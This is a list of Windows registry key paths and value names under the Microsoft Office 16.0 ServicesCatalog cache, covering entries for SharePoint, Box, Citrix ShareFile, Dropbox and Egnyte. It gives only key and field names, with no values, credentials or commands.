HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\FP_LINKEDIN_ORGID\Thumbnails

Url40x40

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

CapabilitiesMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT\Metadata

KeyTip

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT\Metadata

Type

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINT\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

CapabilitiesMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP\Metadata

KeyTip

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP\Metadata

Type

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365MOUNTED_SHAREPOINTGROUP\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT\Metadata

Type

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINT\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP\Metadata

KeyTip

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP\Metadata

Type

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\O365_SHAREPOINTGROUP\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

CapabilitiesMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED\Metadata

KeyTip

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\OFFOPTIN_DOCSTORAGE_LIMITED\Metadata

Type

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

CapabilitiesMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT\Metadata

DefaultFolderRelativePath

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT\Metadata

Type

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP

CapabilitiesMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINTGROUP\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

CapabilitiesMetadata

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER\Metadata

HideIfEmpty

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER\Metadata

KeyTip

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\ONPREM_SHAREPOINT_OTHER\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2\AuthTrustedDomains\account.box.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_BOX_2\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\AuthTrustedDomains\directtofile.sharefile.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\AuthTrustedDomains\securevdr.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\AuthTrustedDomains\securevdr.eu

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\AuthTrustedDomains\sf-api.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\AuthTrustedDomains\sharefile.eu

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\AuthTrustedDomains\sharefilestaging.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_CITRIX_PLUS\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

AllowsRefreshTokenAccess

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

AuthScope

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

Description

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

Name

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

ServiceId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS

ServiceUrl

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS\AuthTrustedDomains\wopi.dropbox.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS\AuthTrustedDomains\www.dropbox.com

Placeholder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS\Thumbnails

Url16x16

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS\Thumbnails

Url32x32

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_DROPBOX_PLUS\Thumbnails

Url48x48

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

AccountLimit

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

AuthMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

Capabilities

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

ConnectMechanism

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

IsManaged

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

IsRemovable

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

ServiceOwner

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

SortOrder

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

SupportsMultiple

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

SupportsNonRoaming

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

AuthBootStrapperUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

AuthClientId

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

AuthRedirectUri

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ServicesManagerCache\ServicesCatalog\TP_EGNYTE_PLUS

AuthScope

